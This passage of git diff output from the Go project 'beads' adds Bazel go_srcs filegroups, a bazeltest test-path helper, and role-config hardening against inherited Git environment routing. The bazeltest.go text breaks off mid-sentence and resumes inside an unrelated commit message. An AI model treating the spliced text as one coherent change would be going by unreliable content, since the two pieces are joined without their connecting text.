["@com_github_go_sql_driver_mysql//:mysql"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dbproxy/identity/BUILD.bazel b/internal/storage/dbproxy/identity/BUILD.bazel index 1208d9581..fa3c24b66 100644 --- a/internal/storage/dbproxy/identity/BUILD.bazel +++ b/internal/storage/dbproxy/identity/BUILD.bazel @@ -20,3 +20,16 @@ go_test( "@com_github_stretchr_testify//require", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dbproxy/pidfile/BUILD.bazel b/internal/storage/dbproxy/pidfile/BUILD.bazel index 9d2efa95b..302bb931e 100644 --- a/internal/storage/dbproxy/pidfile/BUILD.bazel +++ b/internal/storage/dbproxy/pidfile/BUILD.bazel @@ -13,3 +13,16 @@ go_test( srcs = ["pidfile_test.go"], embed = [":pidfile"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dbproxy/proxy/BUILD.bazel b/internal/storage/dbproxy/proxy/BUILD.bazel index 1cf5600a3..b6bf2cf4c 100644 --- a/internal/storage/dbproxy/proxy/BUILD.bazel +++ b/internal/storage/dbproxy/proxy/BUILD.bazel @@ -83,3 +83,16 @@ go_test( "@com_github_stretchr_testify//require", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dbproxy/server/BUILD.bazel b/internal/storage/dbproxy/server/BUILD.bazel index a19f910bd..d91c09a29 100644 --- a/internal/storage/dbproxy/server/BUILD.bazel +++ b/internal/storage/dbproxy/server/BUILD.bazel @@ -47,3 +47,16 @@ go_test( "@com_github_stretchr_testify//require", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dbproxy/util/BUILD.bazel b/internal/storage/dbproxy/util/BUILD.bazel index a22dc23b4..3d77e1a13 100644 --- a/internal/storage/dbproxy/util/BUILD.bazel +++ b/internal/storage/dbproxy/util/BUILD.bazel @@ -19,3 +19,16 @@ go_test( srcs = ["dsn_test.go"], embed = [":util"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/depid/BUILD.bazel b/internal/storage/depid/BUILD.bazel index 8e8601144..759164bdc 100644 --- a/internal/storage/depid/BUILD.bazel +++ b/internal/storage/depid/BUILD.bazel @@ -13,3 +13,16 @@ go_test( srcs = ["depid_test.go"], embed = [":depid"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index eec61f3f6..089c07652 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -77,6 +77,7 @@ go_library( "//internal/creds", "//internal/debug", "//internal/doltserver", + "//internal/execenv", "//internal/githooksenv", "//internal/gittraceenv", "//internal/idgen", @@ -142,6 +143,7 @@ go_test( "cli_transfer_timeout_test.go", "close_issue_checked_test.go", "close_policy_gate_test.go", + "close_recheck_blocked_test.go", "commenter_contract_test.go", "commenter_persistence_test.go", "comments_page_test.go", @@ -311,6 +313,7 @@ go_test( "update_same_status_test.go", "version_commit_deferred_test.go", "version_reconciler_contract_test.go", + "version_scope_completeness_test.go", "versioned_test.go", "wisp_custom_type_tx_test.go", "wisp_gc_test.go", @@ -352,3 +355,16 @@ go_test( "@com_github_google_uuid//:uuid", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/doltutil/BUILD.bazel b/internal/storage/doltutil/BUILD.bazel index 65d7a28f3..613bd9d24 100644 --- a/internal/storage/doltutil/BUILD.bazel +++ b/internal/storage/doltutil/BUILD.bazel @@ -29,3 +29,16 @@ go_test( ], embed = [":doltutil"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/domain/BUILD.bazel b/internal/storage/domain/BUILD.bazel index 0e01f0688..f62f1f4ba 100644 --- a/internal/storage/domain/BUILD.bazel +++ b/internal/storage/domain/BUILD.bazel @@ -49,3 +49,16 @@ go_test( "@com_github_go_sql_driver_mysql//:mysql", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index 1003101ce..de42aa02a 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -99,6 +99,7 @@ go_test( "suite_test.go", "update_same_status_test.go", ], + data = [":go_srcs"], embed = [":db"], deps = [ "//internal/storage", @@ -119,3 +120,16 @@ go_test( "@com_github_stretchr_testify//suite", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/domain/fs/BUILD.bazel b/internal/storage/domain/fs/BUILD.bazel index cee74b233..5ce2de365 100644 --- a/internal/storage/domain/fs/BUILD.bazel +++ b/internal/storage/domain/fs/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "//internal/config", "//internal/configfile", "//internal/doltserver", + "//internal/gitignore", "//internal/storage/domain", "//internal/utils", ], @@ -38,3 +39,16 @@ go_test( "@com_github_stretchr_testify//suite", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/domain/git/BUILD.bazel b/internal/storage/domain/git/BUILD.bazel index 28ba7bfa0..5bcaebc89 100644 --- a/internal/storage/domain/git/BUILD.bazel +++ b/internal/storage/domain/git/BUILD.bazel @@ -23,3 +23,16 @@ go_test( "@com_github_stretchr_testify//suite", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index f6b8f77f0..a9e1cabd5 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -95,6 +95,7 @@ go_test( "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", + "blocked_recheck_internal_test.go", "blocked_recompute_test.go", "blocking_annotator_contract_test.go", "bootstrapper_contract_test.go", @@ -231,3 +232,16 @@ go_test( "@org_golang_x_sync//errgroup", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index 9cc6a5f67..11a955b95 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -13,3 +13,16 @@ go_binary( embed = [":cmd_lib"], visibility = ["//:__subpackages__"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/externaldeps/BUILD.bazel b/internal/storage/externaldeps/BUILD.bazel index b5b75cde8..f7fb67772 100644 --- a/internal/storage/externaldeps/BUILD.bazel +++ b/internal/storage/externaldeps/BUILD.bazel @@ -41,3 +41,16 @@ go_test( "//issueops", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/fs/BUILD.bazel b/internal/storage/fs/BUILD.bazel index acef63262..2865f1f1e 100644 --- a/internal/storage/fs/BUILD.bazel +++ b/internal/storage/fs/BUILD.bazel @@ -10,3 +10,16 @@ go_library( "//internal/storage/domain/fs", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/git/BUILD.bazel b/internal/storage/git/BUILD.bazel index 630162f65..7b22060ab 100644 --- a/internal/storage/git/BUILD.bazel +++ b/internal/storage/git/BUILD.bazel @@ -10,3 +10,16 @@ go_library( "//internal/storage/domain/git", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index 8e3cca3f7..32fb4d17e 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -10,6 +10,7 @@ go_library( "blocked.go", "blocked_consistency.go", "blocked_merge.go", + "blocked_recheck.go", "blocked_state.go", "blocking_annotation.go", "bootstrap.go", @@ -122,6 +123,7 @@ go_test( "batch_apply_test.go", "batching_test.go", "blocked_consistency_test.go", + "blocked_recheck_test.go", "blocked_state_result_test.go", "blocked_state_template_test.go", "close_test.go", @@ -177,7 +179,12 @@ go_test( "version_history_test.go", "wisp_routing_test.go", ], - data = glob(["testdata/**"]), + data = glob(["testdata/**"]) + [ + ":go_srcs", + "//internal/storage/domain/db:go_srcs", + "//internal/storage/schema:migrations", + "//internal/storage/versioncontrolops:go_srcs", + ], embed = [":issueops"], deps = [ "//internal/config", @@ -194,3 +201,16 @@ go_test( "@com_github_go_sql_driver_mysql//:mysql", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/journalscan/BUILD.bazel b/internal/storage/journalscan/BUILD.bazel index c2eb02e72..724b7b0d9 100644 --- a/internal/storage/journalscan/BUILD.bazel +++ b/internal/storage/journalscan/BUILD.bazel @@ -12,3 +12,16 @@ go_test( srcs = ["journalscan_test.go"], embed = [":journalscan"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/kvkeys/BUILD.bazel b/internal/storage/kvkeys/BUILD.bazel index be5e1ca3f..3b609a2ca 100644 --- a/internal/storage/kvkeys/BUILD.bazel +++ b/internal/storage/kvkeys/BUILD.bazel @@ -12,3 +12,16 @@ go_test( srcs = ["kvkeys_test.go"], embed = [":kvkeys"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/leg_contract_wiring_test.go b/internal/storage/leg_contract_wiring_test.go index 9f003a6bf..3da2b632e 100644 --- a/internal/storage/leg_contract_wiring_test.go +++ b/internal/storage/leg_contract_wiring_test.go @@ -12,6 +12,8 @@ import ( "sort" "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // conformancePackage is the import path whose Run entrypoints each leg wires. @@ -264,6 +266,9 @@ func inspectLegWiring(t *testing.T, dir string, entrypoints []string, waived map // repositoryRoot locates the module root from this file's own path. func repositoryRoot(t *testing.T) string { t.Helper() + if root := bazeltest.OverrideRoot(); root != "" { + return root + } _, thisFile, _, ok := runtime.Caller(0) if !ok { t.Fatal("runtime.Caller failed") diff --git a/internal/storage/memoryops/BUILD.bazel b/internal/storage/memoryops/BUILD.bazel index e3acfef33..5bdd40d2c 100644 --- a/internal/storage/memoryops/BUILD.bazel +++ b/internal/storage/memoryops/BUILD.bazel @@ -16,3 +16,16 @@ go_test( srcs = ["memories_test.go"], embed = [":memoryops"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/rowid/BUILD.bazel b/internal/storage/rowid/BUILD.bazel index e5b018c05..180d6fea9 100644 --- a/internal/storage/rowid/BUILD.bazel +++ b/internal/storage/rowid/BUILD.bazel @@ -13,3 +13,16 @@ go_test( srcs = ["rowid_test.go"], embed = [":rowid"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index c928d24d0..1865d179e 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -116,6 +116,7 @@ go_library( "migrations/ignored/0025_add_events_journal_actor.up.sql", "migrations/ignored/0026_dep_rekey_dedup_marker.up.sql", "migrations/ignored/0027_add_wisps_current_revision.up.sql", + "migrations/0069_widen_issue_versions_datetime_precision.up.sql", ], importpath = "github.com/steveyegge/beads/internal/storage/schema", visibility = ["//:__subpackages__"], @@ -147,6 +148,7 @@ go_test( "lock_test.go", "migration_0067_versioned_beads_test.go", "migration_0068_add_attribution_status_test.go", + "migration_0069_datetime_precision_test.go", "migration_body_drain_test.go", "progress_test.go", "remote_migrate_gate_test.go", @@ -155,6 +157,7 @@ go_test( "shared_store_migrate_gate_test.go", "smart_remote_migrate_gate_test.go", ], + data = [":migrations"], embed = [":schema"], deps = [ "//internal/debug", @@ -165,3 +168,24 @@ go_test( "@com_github_go_sql_driver_mysql//:mysql", ], ) + +# Migration SQL (up, down, ignored/) and the nondeterminism allowlist, read +# from disk by schema and issueops tests beyond what the library embeds. +filegroup( + name = "migrations", + srcs = glob(["migrations/**"]), + visibility = ["//internal/storage:__subpackages__"], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/sqlbuild/BUILD.bazel b/internal/storage/sqlbuild/BUILD.bazel index 5e8259312..d591b238c 100644 --- a/internal/storage/sqlbuild/BUILD.bazel +++ b/internal/storage/sqlbuild/BUILD.bazel @@ -30,6 +30,23 @@ go_test( "reclaim_test.go", "sqlbuild_test.go", ], + data = [ + ":go_srcs", + "//internal/storage/domain:go_srcs", + ], embed = [":sqlbuild"], deps = ["//internal/types"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/storagecontract/BUILD.bazel b/internal/storage/storagecontract/BUILD.bazel index 7589dcc06..dab3ad5b1 100644 --- a/internal/storage/storagecontract/BUILD.bazel +++ b/internal/storage/storagecontract/BUILD.bazel @@ -7,3 +7,16 @@ go_library( visibility = ["//:__subpackages__"], deps = ["//internal/storage"], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index c855073e2..4084bd162 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -65,6 +65,7 @@ go_library( "//internal/storage/issueops", "//internal/storage/memoryops", "//internal/storage/schema", + "//internal/storage/sqlbuild", "//internal/types", "//internal/workapi", "//issueops", @@ -115,6 +116,7 @@ go_test( "lifecycle_create_contract_test.go", "lifecycle_role_hooks_test.go", "lifecycle_update_contract_test.go", + "list_comments_plane_test.go", "lostupdate_dolt_test.go", "memories_contract_test.go", "metadata_cas_contract_test.go", @@ -147,6 +149,7 @@ go_test( "version_reconciler_contract_test.go", "workspace_config_contract_test.go", ], + data = [":go_srcs"], embed = [":uow"], deps = [ "//backend/conformance", @@ -175,3 +178,16 @@ go_test( "@com_github_stretchr_testify//require", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/versioncontrolops/BUILD.bazel b/internal/storage/versioncontrolops/BUILD.bazel index 7a4ad5fe7..79dd60aa2 100644 --- a/internal/storage/versioncontrolops/BUILD.bazel +++ b/internal/storage/versioncontrolops/BUILD.bazel @@ -51,3 +51,16 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", ], ) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 3e9d33a76..a71abdb8a 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -112,3 +112,9 @@ go_test( data = glob(["testdata/**"]), embed = [":testutil"], ) + +# Dolt image pin read as text by //test/docsync. +exports_files( + ["testdoltcommon.go"], + visibility = ["//test/docsync:__pkg__"], +) diff --git a/internal/testutil/bazeltest/BUILD.bazel b/internal/testutil/bazeltest/BUILD.bazel new file mode 100644 index 000000000..ea4bf0b8c --- /dev/null +++ b/internal/testutil/bazeltest/BUILD.bazel @@ -0,0 +1,15 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "bazeltest", + srcs = ["bazeltest.go"], + importpath = "github.com/steveyegge/beads/internal/testutil/bazeltest", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "bazeltest_test", + srcs = ["bazeltest_test.go"], + data = glob(["testdata/**"]), + embed = [":bazeltest"], +) diff --git a/internal/testutil/bazeltest/bazeltest.go b/internal/testutil/bazeltest/bazeltest.go new file mode 100644 index 000000000..8ec8c45d8 --- /dev/null +++ b/internal/testutil/bazeltest/bazeltest.go @@ -0,0 +1,174 @@ +// Package bazeltest resolves repository paths for tests so the same test code +// works under plain `go test` (working directory inside the package, full +// checkout on disk), under `bazel test` locally, and under remote execution, +// where the only filesystem a test sees is its declared runfiles. +// +// Under plain `go test` every helper reduces to the pre-Bazel behavior, so +// adopting it never changes what `go test` does. +// +// Repository-root resolution order: +// +// 1. BEADS_TEST_REPO_ROOT, an explicit override (debug escape hatch); it is +// honored only when it names a directory holding go.mod +// 2. under Bazel, the runfiles workspace root ($TEST_SRCDIR/$TEST_WORKSPACE); +// it holds exactly the files the test declares in its BUILD `data` +// 3. a walk up from the working directory to go.mod (plain `go test`) +package bazeltest + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" +) + +// RepoRootEnv names the environment variable that overrides repository-root +// resolution for every helper in this package. +const RepoRootEnv = "BEADS_TEST_REPO_ROOT" + +// IsBazel reports whether the test binary runs under `bazel test`. +func IsBazel() bool { + return os.Getenv("TEST_SRCDIR") != "" +} + +// runfilesDir returns the absolute runfiles directory, or "" outside Bazel. +func runfilesDir() string { + dir := os.Getenv("RUNFILES_DIR") + if dir == "" { + dir = os.Getenv("TEST_SRCDIR") + } + if dir == "" { + return "" + } + if abs, err := filepath.Abs(dir); err == nil { + return abs + } + return dir +} + +// workspaceRoot returns the runfiles directory of the main repository, or "" +// outside Bazel. +func workspaceRoot() string { + rf := runfilesDir() + if rf == "" { + return "" + } + ws := os.Getenv("TEST_WORKSPACE") + if ws == "" { + ws = "_main" + } + root := filepath.Join(rf, ws) + if fi, err := os.Stat(root); err != nil || !fi.IsDir() { + return "" + } + return root +} + +// envRoot returns BEADS_TEST_REPO_ROOT and whether it is usable: set and +// holding a go.mod, so a stale or mistyped value never redirects a scan. +func envRoot() (string, bool) { + root := os.Getenv(RepoRootEnv) + if root == "" { + return "", false + } + _, err := os.Stat(filepath.Join(root, "go.mod")) + return root, err == nil +} + +// OverrideRoot returns the repository root when BEADS_TEST_REPO_ROOT names a +// directory holding go.mod or the test runs under Bazel, and "" otherwise. It is the drop-in condition +// for existing path helpers: +// +// if root := bazeltest.OverrideRoot(); root != "" { +// return filepath.Join(root, "docs") +// } +// // pre-Bazel resolution, unchanged under plain go test +// +// Under Bazel the returned tree holds only the test's declared data. +func OverrideRoot() string { + if root, ok := envRoot(); ok { + return root + } + return workspaceRoot() +} + +// RepoRoot resolves the repository root; see the package comment for the +// resolution order. It fails the test when no root can be found. +func RepoRoot(t testing.TB) string { + t.Helper() + if root, ok := envRoot(); ok { + return root + } else if root != "" { + t.Fatalf("%s=%s has no go.mod", RepoRootEnv, root) + } + if root := workspaceRoot(); root != "" { + return root + } + wd, err := os.Getwd() + if err != nil { + t.Fatalf("getwd: %v", err) + } + for dir := wd; ; dir = filepath.Dir(dir) { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + return dir + } + if filepath.Dir(dir) == dir { + t.Fatalf("could not locate go.mod above %s", wd) + } + } +} + +// CallerDir returns the directory of a source file reported by +// runtime.Caller. Under Bazel the reported path is workspace-relative, so the +// directory is rebuilt from repoPkg (for example "test/docsync") under the +// runfiles workspace root. Outside Bazel it is filepath.Dir(callerFile). +func CallerDir(callerFile, repoPkg string) string { + if root := OverrideRoot(); root != "" { + return filepath.Join(root, filepath.FromSlash(repoPkg)) + } + return filepath.Dir(callerFile) +} + +// Runfile resolves a runfiles-relative path, the form produced by +// $(rlocationpath ` is a redirect and takes no path argument. Verified in tree rather than from the finding: applyChangeDirSelection (main.go) resolves the target's .beads dir and sets BEADS_DIR with no chdir, it runs from the root PersistentPreRunE ahead of every init-related early return in that hook, and init honors BEADS_DIR for workspace selection — so `bd -C other init` acts on other/.beads while the pair reads and writes beads.role in the invocation repository. init.go's own "PersistentPreRun doesn't run for init command" note is about the later skipsStoreInit return, not about -C, which is what made this vector easy to miss twice. Reachability is bounded: -C requires an existing beads project at the target, so the pairing arises on re-init rather than first init. Comment narrowed to name the residual; threading init's resolved project root through the pair is the stronger arm and stays out of scope as a behavior change. B3 (nit, architectural consistency) — the adapter selected the role-authority boundary on a bare "beads.role" literal while the use case passed the unexported beadsRoleConfigKey, two spellings of one contract the compiler could not couple. Exported it as domain.BeadsRoleConfigKey and compared against it at both adapter arms; no new import edge, since package git already imports domain. Mutation-proved rather than asserted: replacing the comparison with the case-variant "Beads.Role" the finding names reds TestInitGitRepositoryRoleIgnoresInheritedConfigSuppression/global_null alone while unblinded stays green, so the drift the nit describes is caught by an existing pin. The comparison is still exact, not case-folded: git config names are case-insensitive, so a caller hand-writing a variant spelling would bypass roleAuthorityEnv, but folding widens which keys take the strict environment and no production caller passes anything but the const — a behavior change the nit did not ask for. Validation (iteration 3): go build ./... clean; go vet plus CGO_ENABLED=0 and GOOS=windows CGO_ENABLED=0 vet clean on cmd/bd, cmd/bd/doctor, internal/storage/domain, internal/storage/domain/git and internal/gitenv; internal/storage/domain/... full packages green (domain, db, fs, git); targeted cmd/bd role run green at 19 subtests with no skips (TestBeadsRoleCommandsIgnoreInheritedGitRouting and TestBeadsRoleWriterIgnoresInheritedGitRouting, including the suppression subtest added in iteration 2); gofmt and git diff --check clean. Full cmd/bd is still not run locally: it times out at base as well. The iteration-1 deferrals are unchanged and still owed follow-up bead ids at finalize (F4, F6/F11, F8, F9). --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Bee Co-authored-by: Gas City Adopt-PR Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/config.go | 27 ++- cmd/bd/config_show.go | 2 + cmd/bd/config_show_test.go | 79 +++++++++ cmd/bd/doctor/bare_parent_fallback_test.go | 65 +++++++ cmd/bd/doctor/role.go | 11 ++ cmd/bd/doctor/role_test.go | 90 ++++++++++ cmd/bd/hooks.go | 12 +- cmd/bd/init.go | 47 +++++- cmd/bd/init_contributor.go | 3 + cmd/bd/init_role_routing_test.go | 133 +++++++++++++++ cmd/bd/worktree_cmd.go | 22 ++- cmd/bd/worktree_test.go | 15 ++ docs/reference/worktrees.md | 6 + internal/beads/beads.go | 22 ++- internal/beads/beads_test.go | 187 +++++++++++++++++++++ internal/beads/context.go | 13 +- internal/beads/context_test.go | 97 +++++++++++ internal/config/config.go | 6 +- internal/config/git_routing_test.go | 7 + internal/config/yaml_config_test.go | 89 ++++++++++ internal/gitenv/routing.go | 64 ++++++- internal/gitenv/routing_test.go | 135 +++++++++++++++ internal/routing/routing.go | 5 + internal/routing/routing_test.go | 143 ++++++++++++++++ internal/storage/domain/git.go | 10 +- internal/storage/domain/git/git.go | 30 +++- internal/storage/domain/git/git_test.go | 86 ++++++++-- scripts/ci/test-windows-env-helpers.sh | 2 + 28 files changed, 1355 insertions(+), 53 deletions(-) create mode 100644 cmd/bd/init_role_routing_test.go diff --git a/cmd/bd/config.go b/cmd/bd/config.go index 3982deef1..95bcb450b 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -119,12 +119,15 @@ var forceGitTracked bool // newRoleConfigWriter captures fresh cwd and scrubbed routing once per write // operation. The process-wide Git cache and Beads storage do not select it. +// Routing is scrubbed along with the suppression ScrubRouting deliberately +// keeps: beads.role is an authority value, and the reader it feeds treats a +// missing value as maintainer, so a suppressed config file would fail open. func newRoleConfigWriter() (func(...string) error, error) { dir, err := os.Getwd() if err != nil { return nil, err } - env := gitenv.ScrubRouting(os.Environ()) + env := gitenv.ScrubRoutingAndSuppression(os.Environ()) probe := exec.Command("git", "rev-parse", "--git-common-dir") probe.Dir, probe.Env = dir, env out, err := probe.Output() @@ -237,12 +240,14 @@ var configSetCmd = &cobra.Command{ } // bd config's own beads.role reads and writes ignore inherited Git // routing, including GIT_CONFIG_GLOBAL, so the value lands in the - // repository this command selected. The scope is this command set, - // not role resolution as a whole: routing.DetectUserRole, - // `bd config show`, `bd doctor` and `bd hooks uninstall` still - // resolve beads.role through the inherited environment, and - // beads.RepoContext.Role pins GIT_DIR/GIT_WORK_TREE last-wins but - // still inherits GIT_CONFIG_*. + // repository this command selected. beads.role is an authority + // value and the reader it feeds treats a missing value as + // maintainer, so these planes also discard the explicit suppression + // ScrubRouting deliberately keeps -- otherwise a blinded read fails + // open instead of erroring. That boundary is uniform across + // routing.DetectUserRole, `bd config show`, `bd doctor`, + // `bd hooks uninstall` and beads.RepoContext.Role, which re-pins + // GIT_DIR/GIT_WORK_TREE last-wins on top of it. write, err := newRoleConfigWriter() if err != nil { return HandleError("setting beads.role in git config: %v", err) @@ -567,8 +572,9 @@ var configGetCmd = &cobra.Command{ } if key == "beads.role" { + // Same role-authority boundary as `bd config set` above. cmd := exec.Command("git", "config", "--get", "beads.role") - cmd.Env = gitenv.ScrubRouting(os.Environ()) + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) output, err := cmd.Output() value := 